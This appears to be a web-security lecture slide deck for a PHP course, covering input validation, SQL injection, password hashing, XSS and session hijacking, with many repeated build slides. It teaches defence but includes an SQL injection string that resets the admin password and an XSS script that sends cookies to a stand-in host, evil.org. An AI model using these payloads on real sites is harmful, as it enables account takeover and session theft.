Introduction to Non-Functional Requirements on a Web Application

Internet Applications, ID1354

Contents

Section

- Non-Functional Requirements
- Security
- Performance

Non-Functional Requirements

- Non-functional requirements are all requirements that do not concern what the program should do, but how it should work.

Non-Functional Requirements

- Non-functional requirements are all requirements that do not concern what the program should do, but how it should work.
  - response time

Non-Functional Requirements

- Non-functional requirements are all requirements that do not concern what the program should do, but how it should work.
  - response time
  - availability

Non-Functional Requirements

- Non-functional requirements are all requirements that do not concern what the program should do, but how it should work.
  - response time
  - availability
  - usability

Non-Functional Requirements

- Non-functional requirements are all requirements that do not concern what the program should do, but how it should work.
  - response time
  - availability
  - usability
  - security (authentication, authorization, integrity, privacy, etc)

Non-Functional Requirements

- Non-functional requirements are all requirements that do not concern what the program should do, but how it should work.
  - response time
  - availability
  - usability
  - security (authentication, authorization, integrity, privacy, etc)
  - and many more.

Non-Functional Requirements

- Non-functional requirements are all requirements that do not concern what the program should do, but how it should work.
  - response time
  - availability
  - usability
  - security (authentication, authorization, integrity, privacy, etc)
  - and many more.
- Very important to specify non-functional requirements before development starts.

Non-Functional Requirements

- Non-functional requirements are all requirements that do not concern what the program should do, but how it should work.
  - response time
  - availability
  - usability
  - security (authentication, authorization, integrity, privacy, etc)
  - and many more.
- Very important to specify non-functional requirements before development starts.
- Also very important to meet non-functional requirements from the beginning. It is difficult, time-consuming and error-prone to add them last, when the program has all desired functionality.

Non-Functional Requirements (Cont'd)

- Be realistic when specifying non-functional requirements, do not write a wish list.

Non-Functional Requirements (Cont'd)

- Be realistic when specifying non-functional requirements, do not write a wish list.
- It must be possible to verify that the requirements are fulfilled. For example, do not write fast enough, but rather *first visible sign of response within 1 second in 99% of the calls measured from outer firewall*.

Non-Functional Requirements (Cont'd)

- Be realistic when specifying non-functional requirements, do not write a wish list.
- It must be possible to verify that the requirements are fulfilled. For example, do not write fast enough, but rather *first visible sign of response within 1 second in 99% of the calls measured from outer firewall*.
- Now, we will look at two groups of non-functional requirements: security and performance.

Section

- Non-Functional Requirements
- Security
  - File System Security
  - Input Filtering
  - Database Security
  - Password Encryption
  - Cross Site Scripting, XSS
  - Impersonation
- Performance

Security

- There are many different aspects of security.

Security

- There are many different aspects of security.
- Here, we will look at possible flaws that opens security holes, which may be exploited for attacks. We will also see how to stop these attacks.

Security

- There are many different aspects of security.
- Here, we will look at possible flaws that opens security holes, which may be exploited for attacks. We will also see how to stop these attacks.
- This is only an introduction to web site security, to illustrate that problems exist and must be considered.

Section

- Non-Functional Requirements
- Security
  - File System Security
  - Input Filtering
  - Database Security
  - Password Encryption
  - Cross Site Scripting, XSS
  - Impersonation
- Performance
  - Client-Side Validation
  - Caching
  - Persistent Connections

File System Security

- PHP is able to access files, execute commands and open network connections on the server.

File System Security

- PHP is able to access files, execute commands and open network connections on the server.
- This means there are big security holes if the PHP interpreter's access rights are not properly limited.

File System Security

- PHP is able to access files, execute commands and open network connections on the server.
- This means there are big security holes if the PHP interpreter's access rights are not properly limited.
- Tools to mitigate this are the web server's userid, file location, and mechanisms to restrict which files the web server may access.

File System Security

- PHP is able to access files, execute commands and open network connections on the server.
- This means there are big security holes if the PHP interpreter's access rights are not properly limited.
- Tools to mitigate this are the web server's userid, file location, and mechanisms to restrict which files the web server may access.
- This is mainly related to configuration, not programming, and is therefore server dependent.

Web Server User

- We must specify which user the web server shall be on the local operating system.

Web Server User

- We must specify which user the web server shall be on the local operating system.
- To avoid errors related to access rights, it might be tempting to set the web server's user id to root or administrator or another the name of the superuser.

Web Server User

- We must specify which user the web server shall be on the local operating system.
- To avoid errors related to access rights, it might be tempting to set the web server's user id to root or administrator or another the name of the superuser.
- This is not appropriate!! It allows an attacker (or bugs in our code) to perform any malicious action.

Web Server User

- We must specify which user the web server shall be on the local operating system.
- To avoid errors related to access rights, it might be tempting to set the web server's user id to root or administrator or another the name of the superuser.
- This is not appropriate!! It allows an attacker (or bugs in our code) to perform any malicious action.
- A good advise is to specify a special dedicated user for the web server, that is not used by anyone else. This way, we can freely tune access rights for the web server.

Web Server User

- We must specify which user the web server shall be on the local operating system.
- To avoid errors related to access rights, it might be tempting to set the web server's user id to root or administrator or another the name of the superuser.
- This is not appropriate!! It allows an attacker (or bugs in our code) to perform any malicious action.
- A good advise is to specify a special dedicated user for the web server, that is not used by anyone else. This way, we can freely tune access rights for the web server.
- How to specify user (and group) id is server and OS dependent. On apache/unix, it is specified in the **`envvars`** file, which is normally located in the same directory as **`apache2.conf`**

Apache User On Windows

- On Windows, the apache server normally runs as the **`LocalSystem`** user, which has no network privileges but wide file system privileges.

Apache User On Windows

- On Windows, the apache server normally runs as the **`LocalSystem`** user, which has no network privileges but wide file system privileges.
- The apache documentation, see `https://httpd.apache.org/docs/2.2/platform/windows.html#winsvc`, recommends creating a new, dedicated user for the apache service. This document also shows how to do that.

File System Access

- Having restricted the web server to a user with limited rights, we might get exceptions because the server can not access files it need.

File System Access

- Having restricted the web server to a user with limited rights, we might get exceptions because the server can not access files it need.
- Repeatedly facing this problem, we might be tempted to release access control and give all users all rights on the entire web site.

File System Access

- Having restricted the web server to a user with limited rights, we might get exceptions because the server can not access files it need.
- Repeatedly facing this problem, we might be tempted to release access control and give all users all rights on the entire web site.
- This is not appropriate!! We must, file by file, decide if the server shall have access to it. If so, we might set the server user to file owner.

Prohibit HTTP Access

- Sometimes it shall be possible to read or include a file in PHP code, but not to retrieve the file with a HTTP GET request.

Prohibit HTTP Access

- Sometimes it shall be possible to read or include a file in PHP code, but not to retrieve the file with a HTTP GET request.
- This situation can not be solved by limiting file system access. Instead, we have to specify in the server's configuration files what it is allowed to do.

Prohibit HTTP Access

- Sometimes it shall be possible to read or include a file in PHP code, but not to retrieve the file with a HTTP GET request.
- This situation can not be solved by limiting file system access. Instead, we have to specify in the server's configuration files what it is allowed to do.
- With apache, application specific configuration is done with a **`.htaccess`** file. The content of such a file is valid for the directory where the file is located, and all subdirectories.

Prohibit HTTP Access

- Sometimes it shall be possible to read or include a file in PHP code, but not to retrieve the file with a HTTP GET request.
- This situation can not be solved by limiting file system access. Instead, we have to specify in the server's configuration files what it is allowed to do.
- With apache, application specific configuration is done with a **`.htaccess`** file. The content of such a file is valid for the directory where the file is located, and all subdirectories.
- The following entry forbids HTTP access to the file **`conversation.txt`**, where the conversation is stored in the sample chat application.

```
1 <FilesMatch "conversation.txt">
2    Order allow,deny
3    Deny from all
4 </FilesMatch>
```

Prohibit HTTP Access (Cont'd)

- We might want to prohibit HTTP access to an entire directory, not just a file. Directory directives must be placed in the apache configuration file, **`apache2.conf`**.

Prohibit HTTP Access (Cont'd)

- We might want to prohibit HTTP access to an entire directory, not just a file. Directory directives must be placed in the apache configuration file, **`apache2.conf`**.
- It is a good idea to prohibit access to all PHP classes. It should only be possible to direct HTTP requests to files intended to be accessed via HTTP.

Prohibit HTTP Access (Cont'd)

- This can be achieved by placing PHP classes in a **`classes`** directory and specifying the following entry in **`apache2.conf`**.

```
1 <Directory "/var/www/doc-root/*/classes">
2     <Files *>
3         Order allow,deny
4         Deny from all
5     </Files>
6 </Directory>
```

Prohibit HTTP Access (Cont'd)

- This can be achieved by placing PHP classes in a **`classes`** directory and specifying the following entry in **`apache2.conf`**.

```
1 <Directory "/var/www/doc-root/*/classes">
2     <Files *>
3         Order allow,deny
4         Deny from all
5     </Files>
6 </Directory>
```

- This applies to all files with a path matching **`/var/www/doc-root/*/classes/*`**. It prohibits access to PHP classes if the web server's root directory is **`/var/www/doc-root`** and all PHP classes are placed in a **`classes`** directory in the web application root.

Section

- Non-Functional Requirements
- Security
  - File System Security
  - Input Filtering
  - Database Security
  - Password Encryption
  - Cross Site Scripting, XSS
  - Impersonation
- Performance
  - Client-Side Validation
  - Caching
  - Persistent Connections

Input Filtering

- Never trust anything coming from the client, there is no such thing as client-side security. This is very important and solves many security problems.

Input Filtering

- Never trust anything coming from the client, there is no such thing as client-side security. This is very important and solves many security problems.
- Do not assume that data, e.g., HTTP parameters, comes from your client code. It could come from an attacker.

Input Filtering

- Never trust anything coming from the client, there is no such thing as client-side security. This is very important and solves many security problems.
- Do not assume that data, e.g., HTTP parameters, comes from your client code. It could come from an attacker.
- It is still appropriate to use client-side data validation to improve performance for ordinary execution, i.e., no attacks. Client-side validation is faster since no request is sent to server.

Validate Parameters

- Therefore, server-side validation is necessary, whether there is client-side validation or not. Normally, both are used.

Validate Parameters

- Therefore, server-side validation is necessary, whether there is client-side validation or not. Normally, both are used.
- To be strict, all methods should always validate all parameters.

Validate Parameters

- Therefore, server-side validation is necessary, whether there is client-side validation or not. Normally, both are used.
- To be strict, all methods should always validate all parameters.
- This not only improves security, but also reduces the risk of corrupt data, makes it easier to find bugs and facilitates error handling.

Validating a Numeric Value

- HTTP is string based, all data from the client will be of the string type in server code.

Validating a Numeric Value

- HTTP is string based, all data from the client will be of the string type in server code.
- Parameters supposed to contain numbers must be checked to see that the content really is a number, the following code shows how to validate an integer.

```
1 if (!empty($_GET['someParam'])) {
2    $someParam = (int) $_GET['someParam'];
3 } else {
4    $someParam = 0;
5 }
```

Validating a Numeric Value

- HTTP is string based, all data from the client will be of the string type in server code.
- Parameters supposed to contain numbers must be checked to see that the content really is a number, the following code shows how to validate an integer.

```
1 if (!empty($_GET['someParam'])) {
2    $someParam = (int) $_GET['someParam'];
3 } else {
4    $someParam = 0;
5 }
```

- The **empty** function on line one returns true if the argument does not exist or equals **FALSE**. Remember that “”, “0” and 0 equals **FALSE**.

Validating a Numeric Value

- HTTP is string based, all data from the client will be of the string type in server code.
- Parameters supposed to contain numbers must be checked to see that the content really is a number, the following code shows how to validate an integer.

```
1 if (!empty($_GET['someParam'])) {
2    $someParam = (int) $_GET['someParam'];
3 } else {
4    $someParam = 0;
5 }
```

- The `empty` function on line one returns true if the argument does not exist or equals **FALSE**. Remember that "", "0" and 0 equals **FALSE**.
- The cast `(int)` on line two converts the argument to an integer. If the string starts with valid numeric data, this will be the value used. Otherwise, the value will be zero.

Validating a Numeric Value (Cont'd)

- To access POST data, use **`_POST`** instead of **`_GET`**.

Validating a Numeric Value (Cont'd)

- To access POST data, use **`_POST`** instead of **`_GET`**.
- To validate a float parameter, use **`(float)`** instead of **`(int)`** for casting.

Validating a Numeric Value (Cont'd)

- To access POST data, use `_POST` instead of `_GET`.
- To validate a float parameter, use `(float)` instead of `(int)` for casting.
- There are many more casts available for other PHP types, for example `(double)` and `(boolean)`.

Validating a String

- There are many **`ctype_`** functions the can be used to check the content of a string, for example:

Validating a String

- There are many **`ctype_`** functions the can be used to check the content of a string, for example:
  - **`ctype_alpha($str)`** is true if the argument contains only letters.

Validating a String

- There are many **`ctype_`** functions the can be used to check the content of a string, for example:
  - **`ctype_alpha($str)`** is true if the argument contains only letters.
  - **`ctype_alnum($str)`** is true if the argument contains only letters or digits.

Validating a String

- There are many **`ctype_`** functions the can be used to check the content of a string, for example:
  - **`ctype_alpha($str)`** is true if the argument contains only letters.
  - **`ctype_alnum($str)`** is true if the argument contains only letters or digits.
  - **`ctype_print($str)`** is true if the argument contains only characters that produce output, i.e., no control characters.

Validating a String

- There are many **`ctype_`** functions the can be used to check the content of a string, for example:
  - **`ctype_alpha($str)`** is true if the argument contains only letters.
  - **`ctype_alnum($str)`** is true if the argument contains only letters or digits.
  - **`ctype_print($str)`** is true if the argument contains only characters that produce output, i.e., no control characters.
- Also use the **`empty`** function to check if the parameter is set, as when validating a number.

Other Input

- Not only **`_GET`** and **`_POST`** data comes from client input.

Other Input

- Not only **_GET** and **_POST** data comes from client input.
- It is important to remember that all superglobals except **_SESSION**, i.e., **_GET**, **_POST**, **_COOKIE**, **_SERVER**, **_FILES**, **_ENV**, **_REQUEST**, contain client data.

Other Input

- Not only **_GET** and **_POST** data comes from client input.
- It is important to remember that all superglobals except **_SESSION**, i.e., **_GET**, **_POST**, **_COOKIE**, **_SERVER**, **_FILES**, **_ENV**, **_REQUEST**, contain client data.
- Whenever reading from these, data must be validated.

Section

- Non-Functional Requirements
- Security
  - File System Security
  - Input Filtering
  - Database Security
  - Password Encryption
  - Cross Site Scripting, XSS
  - Impersonation
- Performance
  - Client-Side Validation
  - Caching
  - Persistent Connections

Database Access Control

- The PHP program shall connect to the database as a user with as few rights as possible. Never let PHP connect as a superuser, like root.

Database Access Control

- The PHP program shall connect to the database as a user with as few rights as possible. Never let PHP connect as a superuser, like root.
- Access to the database must be password protected, which means the password must be stored somewhere it can be accessed by the PHP program, for example in a php file with the content:

```
$username = 'myuser';
$password = 'mypass';
```

Database Access Control

- The PHP program shall connect to the database as a user with as few rights as possible. Never let PHP connect as a superuser, like root.
- Access to the database must be password protected, which means the password must be stored somewhere it can be accessed by the PHP program, for example in a php file with the content:

```
$username = 'myuser';
$password = 'mypass';
```

- This file can be included with an **`include`** directive, but shall not be accessible with HTTP requests.

Database Access Control

- The PHP program shall connect to the database as a user with as few rights as possible. Never let PHP connect as a superuser, like root.
- Access to the database must be password protected, which means the password must be stored somewhere it can be accessed by the PHP program, for example in a php file with the content:

```
$username = 'myuser';
$password = 'mypass';
```

- This file can be included with an **`include`** directive, but shall not be accessible with HTTP requests.
- Best is to place it outside of document root, where the web server can not access it. Both **`include`** and **`require`** can accept a filesystem path.

Database Access Control

- The PHP program shall connect to the database as a user with as few rights as possible. Never let PHP connect as a superuser, like root.
- Access to the database must be password protected, which means the password must be stored somewhere it can be accessed by the PHP program, for example in a php file with the content:

```
$username = 'myuser';
$password = 'mypass';
```

- This file can be included with an **include** directive, but shall not be accessible with HTTP requests.
- Best is to place it outside of document root, where the web server can not access it. Both **include** and **require** can accept a filesystem path.
- Alternatively, it can be protected as described above, in the section on file system security.

SQL Injection

- As stated above, not properly validating user input can have severe consequences, one of which is that a malicious user can alter SQL statements, called SQL injection.

SQL Injection

- As stated above, not properly validating user input can have severe consequences, one of which is that a malicious user can alter SQL statements, called SQL injection.
- Using SQL injection, an attacker creates or alters existing SQL commands to expose or change hidden data, or to execute commands on the database host.

SQL Injection

- As stated above, not properly validating user input can have severe consequences, one of which is that a malicious user can alter SQL statements, called SQL injection.
- Using SQL injection, an attacker creates or alters existing SQL commands to expose or change hidden data, or to execute commands on the database host.
- This is accomplished by the application taking user input and combining it with static parameters to build an SQL query.

SQL Injection Example

- Consider the following PHP code, where **`$pwd`** and **`$uid`** are user input.

```
$statement = "UPDATE usertable SET" .
    " pwd='$pwd' WHERE uid='$uid';";
// Execute the statement.
```

SQL Injection Example

- Consider the following PHP code, where **`$pwd`** and **`$uid`** are user input.

```
$statement = "UPDATE usertable SET" .
    " pwd='$pwd' WHERE uid='$uid';";
// Execute the statement.
```

- A malicious user could specify the user id **`' or uid like '%admin%`**.

SQL Injection Example

- Consider the following PHP code, where **`$pwd`** and **`$uid`** are user input.

```
$statement = "UPDATE usertable SET" .
    " pwd='$pwd' WHERE uid='$uid';";
// Execute the statement.
```

- A malicious user could specify the user id **`' or uid like '%admin%`**.
- Now the complete statement becomes **`"UPDATE usertable SET pwd='...' WHERE uid='' or uid like '%admin%';"`** and the administrators password is changed.

Prohibiting SQL Injection, Prepared Statements

- The most common way to prohibit SQL injection is to use parameterized queries, implemented with prepared statements.

Prohibiting SQL Injection, Prepared Statements

- The most common way to prohibit SQL injection is to use parameterized queries, implemented with prepared statements.
- The prepared statement execution consists of two stages: prepare and execute.

Prohibiting SQL Injection, Prepared Statements

- The most common way to prohibit SQL injection is to use parameterized queries, implemented with prepared statements.
- The prepared statement execution consists of two stages: prepare and execute.
- At the prepare stage a statement template is sent to the database server. The server performs a syntax check and initializes server internal resources for later use.

Prohibiting SQL Injection, Prepared Statements

- The most common way to prohibit SQL injection is to use parameterized queries, implemented with prepared statements.
- The prepared statement execution consists of two stages: prepare and execute.
- At the prepare stage a statement template is sent to the database server. The server performs a syntax check and initializes server internal resources for later use.
- During execute stage the client binds parameter values and sends them to the server. The server creates a statement from the statement template and the bound values and executes it.

Prepared Statement Example

- In the prepare stage, the SQL statement is defined and parameters are specified as **?**.

```
$stmt = $mysqli->prepare(
   "UPDATE usertable SET pwd=? WHERE uid=?;"
);
```

Prepared Statement Example

- In the prepare stage, the SQL statement is defined and parameters are specified as **?**.

```
$stmt = $mysqli->prepare(
   "UPDATE usertable SET pwd=? WHERE uid=?;"
);
```

- In the execute stage, the parameter values are inserted and the statement is executed. The parameter **ss** means that both values are strings.

```
$stmt->bind_param(ss, $pwd, $uid);
$stmt->execute();
```

Prepared Statement Example

- In the prepare stage, the SQL statement is defined and parameters are specified as `?`.

```
$stmt = $mysqli->prepare(
   "UPDATE usertable SET pwd=? WHERE uid=?;"
);
```

- In the execute stage, the parameter values are inserted and the statement is executed. The parameter `ss` means that both values are strings.

```
$stmt->bind_param(ss, $pwd, $uid);
$stmt->execute();
```

- Note that is it not possible to alter the statement.

Prepared Statement Example

- In the prepare stage, the SQL statement is defined and parameters are specified as **?**.

```
$stmt = $mysqli->prepare(
   "UPDATE usertable SET pwd=? WHERE uid=?;"
);
```

- In the execute stage, the parameter values are inserted and the statement is executed. The parameter **ss** means that both values are strings.

```
$stmt->bind_param(ss, $pwd, $uid);
$stmt->execute();
```

- Note that is it not possible to alter the statement.
- User input (**$pwd** and **$uid**) shall always be validated, even if prepared statements are used.

Prepared Statements Improve Performance

- Prepared statements are not only more secure, they are also faster than ordinary statements when executing the same statements multiple times.

Prepared Statements Improve Performance

- Prepared statements are not only more secure, they are also faster than ordinary statements when executing the same statements multiple times.
- This is because they are interpreted only once by the database server.

Section

- Non-Functional Requirements
- Security
  - File System Security
  - Input Filtering
  - Database Security
  - Password Encryption
  - Cross Site Scripting, XSS
  - Impersonation
- Performance
  - Client-Side Validation
  - Caching
  - Persistent Connections

Password Encryption

- Whenever the application includes some kind of login mechanism, it is necessary to store user's passwords.

Password Encryption

- Whenever the application includes some kind of login mechanism, it is necessary to store user's passwords.
- Passwords shall always be encrypted, not even the system administrator shall see clear text passwords.

Password Encryption

- Whenever the application includes some kind of login mechanism, it is necessary to store user's passwords.
- Passwords shall always be encrypted, not even the system administrator shall see clear text passwords.
- A hashing algorithm calculates a hash value, based on an original value. It is not possible to recalculate the original value from the hash.

Password Encryption

- Whenever the application includes some kind of login mechanism, it is necessary to store user's passwords.
- Passwords shall always be encrypted, not even the system administrator shall see clear text passwords.
- A hashing algorithm calculates a hash value, based on an original value. It is not possible to recalculate the original value from the hash.
- By applying a hashing algorithm to passwords, it becomes impossible to determine the original password.

Password Encryption

- Whenever the application includes some kind of login mechanism, it is necessary to store user's passwords.
- Passwords shall always be encrypted, not even the system administrator shall see clear text passwords.
- A hashing algorithm calculates a hash value, based on an original value. It is not possible to recalculate the original value from the hash.
- By applying a hashing algorithm to passwords, it becomes impossible to determine the original password.
- It is still possible to compare the resulting hash to the original password by hashing also the password entered at login.

Hashing

- Common hashing algorithms are MD5, SHA1 and SHA256, which are designed to be very fast.

Hashing

- Common hashing algorithms are MD5, SHA1 and SHA256, which are designed to be very fast.
- In fact, they are so fast that it has become trivial to calculate the original value from the hash simply by trying all possible original values until one that generates the searched hash is found.

Hashing

- Common hashing algorithms are MD5, SHA1 and SHA256, which are designed to be very fast.
- In fact, they are so fast that it has become trivial to calculate the original value from the hash simply by trying all possible original values until one that generates the searched hash is found.
- Starting from PHP 5.5, there is a password hashing api which is a good replacement for the above mentioned weak algorithms.

Hashing Example

- To hash a password before storing it, use the **`password_hash`** function. The **`PASSWORD_DEFAULT`** parameter specifies that the default hashing algorithm shall be used.

```
password_hash($password, PASSWORD_DEFAULT);
```

Hashing Example

- To hash a password before storing it, use the **password_hash** function. The **PASSWORD_DEFAULT** parameter specifies that the default hashing algorithm shall be used.

```
password_hash($password, PASSWORD_DEFAULT);
```

- To check a password entered at login against a stored, hashed, password, use the **password_verify** function. The **$hash** parameter is the hashed value read from the data storage.

```
password_verify($password, $hash);
```

Section

- Non-Functional Requirements
- Security
  - File System Security
  - Input Filtering
  - Database Security
  - Password Encryption
  - Cross Site Scripting, XSS
  - Impersonation
- Performance
  - Client-Side Validation
  - Caching
  - Persistent Connections

Cross Site Scripting, XSS

- Cross Site Scripting, XSS, means that an attacker injects HTML code, which is then displayed in an unknowing user's browser without further validation.

Cross Site Scripting, XSS

- Cross Site Scripting, XSS, means that an attacker injects HTML code, which is then displayed in an unknowing user's browser without further validation.
- This can happen if a web server displays content that comes from any external source.

Cross Site Scripting, XSS

- Cross Site Scripting, XSS, means that an attacker injects HTML code, which is then displayed in an unknowing user's browser without further validation.
- This can happen if a web server displays content that comes from any external source.
- The external source can be data submitted from browser, an email client, an advertisement, a tracker or anything else that is inserted into the HTML document.

Cross Site Scripting Example

- Consider the commenting feature of tasty recipes, say a user submits the following comment.

```
<script>
   window.location.assign =
      'http://evil.org/steal_cookies.php?cookies=' +
      document.cookie
</script>
```

Cross Site Scripting Example

- Consider the commenting feature of tasty recipes, say a user submits the following comment.

```
<script>
   window.location.assign =
      'http://evil.org/steal_cookies.php?cookies=' +
      document.cookie
</script>
```

- A user reading the comment is redirected to **`evil.org`**, all cookies associated with the current site are included in the query string of the URL.

Cross Site Scripting Example

- Consider the commenting feature of tasty recipes, say a user submits the following comment.

```
<script>
   window.location.assign =
      'http://evil.org/steal_cookies.php?cookies=' +
      document.cookie
</script>
```

- A user reading the comment is redirected to **evil.org**, all cookies associated with the current site are included in the query string of the URL.
- Once the attacker has the cookies they can be used for example to impersonate the user by using the cookie with the session id.

Cross Site Scripting Example

- Consider the commenting feature of tasty recipes, say a user submits the following comment.

```
<script>
   window.location.assign =
      'http://evil.org/steal_cookies.php?cookies=' +
      document.cookie
</script>
```

- A user reading the comment is redirected to **`evil.org`**, all cookies associated with the current site are included in the query string of the URL.
- Once the attacker has the cookies they can be used for example to impersonate the user by using the cookie with the session id.
- This is not the best attack since it reveals itself by changing document content. A better attack would be to load an invisible image, which would also generate a HTTP GET request.

Prohibiting XSS

- It is easy to prohibit XSS attacks if the following rules can be obeyed.

Prohibiting XSS

- It is easy to prohibit XSS attacks if the following rules can be obeyed.
  - Never insert data anywhere in a **`<script>`** element.

Prohibiting XSS

- It is easy to prohibit XSS attacks if the following rules can be obeyed.
  - Never insert data anywhere in a `<script>` element.
  - Never insert data in an HTML comment.

Prohibiting XSS

- It is easy to prohibit XSS attacks if the following rules can be obeyed.
  - Never insert data anywhere in a `<script>` element.
  - Never insert data in an HTML comment.
  - Never insert data in an attribute name.

Prohibiting XSS

- It is easy to prohibit XSS attacks if the following rules can be obeyed.
  - Never insert data anywhere in a `<script>` element.
  - Never insert data in an HTML comment.
  - Never insert data in an attribute name.
  - Never insert data in an attribute value.

Prohibiting XSS

- It is easy to prohibit XSS attacks if the following rules can be obeyed.
  - Never insert data anywhere in a `<script>` element.
  - Never insert data in an HTML comment.
  - Never insert data in an attribute name.
  - Never insert data in an attribute value.
  - Never insert data in a tag name.

Prohibiting XSS

- It is easy to prohibit XSS attacks if the following rules can be obeyed.
  - Never insert data anywhere in a `<script>` element.
  - Never insert data in an HTML comment.
  - Never insert data in an attribute name.
  - Never insert data in an attribute value.
  - Never insert data in a tag name.
  - Never insert data anywhere in CSS, i.e., in a `<style>` tag.

Prohibiting XSS

- It is easy to prohibit XSS attacks if the following rules can be obeyed.
  - Never insert data anywhere in a `<script>` element.
  - Never insert data in an HTML comment.
  - Never insert data in an attribute name.
  - Never insert data in an attribute value.
  - Never insert data in a tag name.
  - Never insert data anywhere in CSS, i.e., in a `<style>` tag.
- The above situations can be solved, but that is not covered here.

Prohibiting XSS (Cont'd)

- When the above rules are followed, the only place remaining to insert data is in the content of a HTML element, for example **`div`**, **`p`** or **`td`**.

Prohibiting XSS (Cont'd)

- When the above rules are followed, the only place remaining to insert data is in the content of a HTML element, for example **`div`**, **`p`** or **`td`**.
- When accepting input that might later be inserted in a HTML document, always use the **`htmlentities`** function to convert HTML special characters like **`<`** and **`&`** to entities (**`<`** and **`&`**).

```
htmlentities($data, ENT_QUOTES);
```

Prohibiting XSS (Cont'd)

- When the above rules are followed, the only place remaining to insert data is in the content of a HTML element, for example **`div`**, **`p`** or **`td`**.
- When accepting input that might later be inserted in a HTML document, always use the **`htmlentities`** function to convert HTML special characters like **`<`** and **`&`** to entities (**`<`** and **`&`**).

```
htmlentities($data, ENT_QUOTES);
```

- The **`ENT_QUOTES`** parameter specifies that both single and double quotes shall be converted.

Section

- Non-Functional Requirements
- Security
  - File System Security
  - Input Filtering
  - Database Security
  - Password Encryption
  - Cross Site Scripting, XSS
  - Impersonation
- Performance
  - Client-Side Validation
  - Caching
  - Persistent Connections

Impersonation

- To impersonate someone means that an attacker steals the id of a legitimate user, thereby becoming able to perform actions for which the legitimate user will be held responsible.

Impersonation

- To impersonate someone means that an attacker steals the id of a legitimate user, thereby becoming able to perform actions for which the legitimate user will be held responsible.
- Two ways this can happen is that the attacker steals a password of a legitimate user, or uses a session of an authenticated (logged in) user.

Password Protection

- We have already covered how to protect a password in a datastore by hashing it.

Password Protection

- We have already covered how to protect a password in a datastore by hashing it.
- It is also necessary to protect the password when it is transmitted from client to server.

Password Protection

- We have already covered how to protect a password in a datastore by hashing it.
- It is also necessary to protect the password when it is transmitted from client to server.
- This is achieved by using encrypted communication, typically HTTPS. Always use HTTPS when a password is sent!

Password Protection

- We have already covered how to protect a password in a datastore by hashing it.
- It is also necessary to protect the password when it is transmitted from client to server.
- This is achieved by using encrypted communication, typically HTTPS. Always use HTTPS when a password is sent!
- If not, the password is sent in clear text and anyone with access to the communication link can see it (commonly called eavesdropping).

Session Forgery

- The only thing telling the server that two requests belong to the same session, and thereby the same user, is the session id.

Session Forgery

- The only thing telling the server that two requests belong to the same session, and thereby the same user, is the session id.
- This id must be included in every request during the session, as a cookie, part of the URL or some other way.

Session Forgery

- The only thing telling the server that two requests belong to the same session, and thereby the same user, is the session id.
- This id must be included in every request during the session, as a cookie, part of the URL or some other way.
- If an attacker is able to get (or set) the session id of an authenticated user, there is nothing stopping the attacker from presenting that id to the server and impersonate that user.

Prohibiting Session Hijacking

- Session hijacking means that a malicious user uses the same session as an authenticated user.

Prohibiting Session Hijacking

- Session hijacking means that a malicious user uses the same session as an authenticated user.
- The first thing is to prohibit eavesdropping, by using HTTPS for all requests made by an authenticated user.

Prohibiting Session Hijacking

- Session hijacking means that a malicious user uses the same session as an authenticated user.
- The first thing is to prohibit eavesdropping, by using HTTPS for all requests made by an authenticated user.
- Also, setting the **`Secure`** cookie attribute instructs web browsers to send the cookie only over encrypted, e.g., HTTPS, links. This is specified by setting **`session.cookie_secure true`** in the **`php.ini`** configuration file.

Prohibiting Session Hijacking

- Session hijacking means that a malicious user uses the same session as an authenticated user.
- The first thing is to prohibit eavesdropping, by using HTTPS for all requests made by an authenticated user.
- Also, setting the **`Secure`** cookie attribute instructs web browsers to send the cookie only over encrypted, e.g., HTTPS, links. This is specified by setting **`session.cookie_secure true`** in the **`php.ini`** configuration file.
- Setting the **`HttpOnly`** attribute by specifying **`session.cookie_httponly true`** prohibits JavaScript code to read the cookie via the DOM **`document.cookie`** JavaScript object.

Prohibiting Session Hijacking (Cont'd)

- Another complementary practice is to rely not only on the session id for identification, but also on browser fingerprinting.

Prohibiting Session Hijacking (Cont'd)

- Another complementary practice is to rely not only on the session id for identification, but also on browser fingerprinting.
- Browsers normally include many headers in each request, for example **`User-Agent`**, which identifies the browser type.

Prohibiting Session Hijacking (Cont'd)

- Another complementary practice is to rely not only on the session id for identification, but also on browser fingerprinting.
- Browsers normally include many headers in each request, for example `User-Agent`, which identifies the browser type.
- To associate all this information with the session can reveal if a request comes from another browser. It is highly unlikely that a legitimate user changes browser during a session.

Prohibiting Session Hijacking (Cont'd)

- Another complementary practice is to rely not only on the session id for identification, but also on browser fingerprinting.
- Browsers normally include many headers in each request, for example `User-Agent`, which identifies the browser type.
- To associate all this information with the session can reveal if a request comes from another browser. It is highly unlikely that a legitimate user changes browser during a session.
- This method is not 100% secure, the attacker might be able to imitate the browser's fingerprint, but it still a recommended complementary method to prevent session hijacking.

Prohibit Session Fixation

- Session fixation means that an attacker is able to decide which session id a user will have after having logged in.

Prohibit Session Fixation

- Session fixation means that an attacker is able to decide which session id a user will have after having logged in.
- This might be done by tricking the legitimate user to visit the attackers site, where a cookie with the name **`PHPSESSID`** is set.

Prohibit Session Fixation

- Session fixation means that an attacker is able to decide which session id a user will have after having logged in.
- This might be done by tricking the legitimate user to visit the attackers site, where a cookie with the name `PHPSESSID` is set.
- When the legitimate user later has logged in, an attack can be launched with the preset session id.

Prohibit Session Fixation

- Session fixation means that an attacker is able to decide which session id a user will have after having logged in.
- This might be done by tricking the legitimate user to visit the attackers site, where a cookie with the name `PHPSESSID` is set.
- When the legitimate user later has logged in, an attack can be launched with the preset session id.
- To prevent this, always change the session id after login, or whenever a user gains increased privileges.

Prohibit Session Fixation

- Session fixation means that an attacker is able to decide which session id a user will have after having logged in.
- This might be done by tricking the legitimate user to visit the attackers site, where a cookie with the name **`PHPSESSID`** is set.
- When the legitimate user later has logged in, an attack can be launched with the preset session id.
- To prevent this, always change the session id after login, or whenever a user gains increased privileges.
- In PHP, session id is changed with the **`session_regenerate_id`** function.

Force the User to Authenticate

- Do not assume that a user is authenticated just because there is a session.

Force the User to Authenticate

- Do not assume that a user is authenticated just because there is a session.
- A malicious user might create a cookie with the name **`PHPSESSID`**, which is the name used by PHP for session handling. The presence of such a cookie will start a session.

Force the User to Authenticate

- Do not assume that a user is authenticated just because there is a session.
- A malicious user might create a cookie with the name **`PHPSESSID`**, which is the name used by PHP for session handling. The presence of such a cookie will start a session.
- To stop such an attack, it must be possible to determine if a user is authenticated or not.

Force the User to Authenticate

- Do not assume that a user is authenticated just because there is a session.
- A malicious user might create a cookie with the name **`PHPSESSID`**, which is the name used by PHP for session handling. The presence of such a cookie will start a session.
